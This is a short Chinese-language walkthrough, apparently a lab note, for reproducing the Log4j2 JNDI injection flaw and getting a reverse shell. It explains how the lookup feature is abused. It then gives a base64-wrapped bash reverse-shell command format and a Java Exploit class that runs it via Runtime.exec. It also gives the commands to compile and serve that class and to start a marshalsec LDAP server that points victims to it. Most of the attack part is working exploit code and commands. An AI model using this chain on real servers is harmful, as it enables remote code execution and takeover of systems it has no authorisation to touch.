log4j2漏洞复现
漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${sys:java.version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。
dnslog验证跳过,直接进入反弹shell步骤
一、使用JNDI-exploit工具一键化反弹shell
命令格式
bash -c {echo,BASE64编码命令}|{base64,-d}|{bash,-i}
在线编码网站
JNDI-Exploit工具搭建JNDI服务器
传参执行
反弹成功
二、使用EXP代码反弹shell
1、先写个java反弹shell的exp。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,base64命令}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
3、编译为class
javac Exploit.java
4、搭建web服务,将class放上去
我直接python搭建个临时的
python3 -m http.server 4455
5、搭建LADP服务
使用marshalsec工具快速搭建
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://刚才http服务的地址:端口号/#Exploit" 1389
6、反弹shell
传参、开启监听